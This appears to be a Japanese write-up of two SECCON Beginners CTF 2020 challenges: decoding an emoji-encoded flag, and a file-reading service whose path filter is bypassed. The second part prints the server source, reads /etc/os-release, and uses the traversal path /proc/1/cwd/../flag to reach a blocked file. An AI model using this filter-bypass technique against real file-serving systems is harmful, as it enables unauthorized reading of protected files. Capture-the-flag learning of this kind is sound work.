SECCON Beginners CTF 2020 Writeup
2020年5月23日 (土) 14:00~2020年5月24日 (日) 14:00 (24 時間)開催されていたSECCON BeginnersのWriteupです。
チーム美女になる で参加していました、自分が解いた問題は emoemoencode
と readme
でした。
emoemoencode
絵文字が並べられたファイルが問題として与えられます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解法
何だかUnicodeでフラグが表現されているような気がしたので、おもむろにUTF-8とかに変換してみたところフラグが出てきました。 変換には以下のサイトを利用させてもらいました。
ctf4b{stegan0graphy_by_em000000ji}
readme
ncでアクセスできるURLとサーバのソースコードが問題として与えられます。 入力が求められ、ファイルのパスを入力するとそのパスにあるファイルの中身が表示されます。
$ nc readme.quals.beginners.seccon.jp 9712
File: aaaa
[-] File not found
$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.11.6
PRETTY_NAME="Alpine Linux v3.11"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
やることは /home/ctf/flag
を読み取るのですが、サーバ側のコードで入力されたパスの検査を行っており、愚直にパスを入力しても読み取れないようになっているのでそれを頑張って突破する問題でした。
server.py
#!/usr/bin/env python3
import os
assert os.path.isfile('/home/ctf/flag') # readme
if __name__ == '__main__':
path = input("File: ")
print(path)
if not os.path.exists(path):
exit("[-] File not found")
if not os.path.isfile(path):
exit("[-] Not a file")
if '/' != path[0]:
exit("[-] Use absolute path")
if 'ctf' in path:
exit("[-] Path not allowed")
try:
print(open(path, 'r').read())
except:
exit("[-] Permission denied")
解法
解法としては /proc
以下でなんとかできないか調べていたところ、以下のような仕組みを発見したので、それを使ってパスを設定する事でうまく迂回する事ができフラグをゲットできました。
cwd プロセスのカレントワーキングディレクトリ(CWD)へのシンボリックリンク
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/1/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
感想
最近は1人で参加していたのですが、久しぶりにチームで参加すると楽しかったです。 チームメンバーが裏で他の問題をどんどん解いてくれたりしていたので、1つの問題に集中できて助かりました!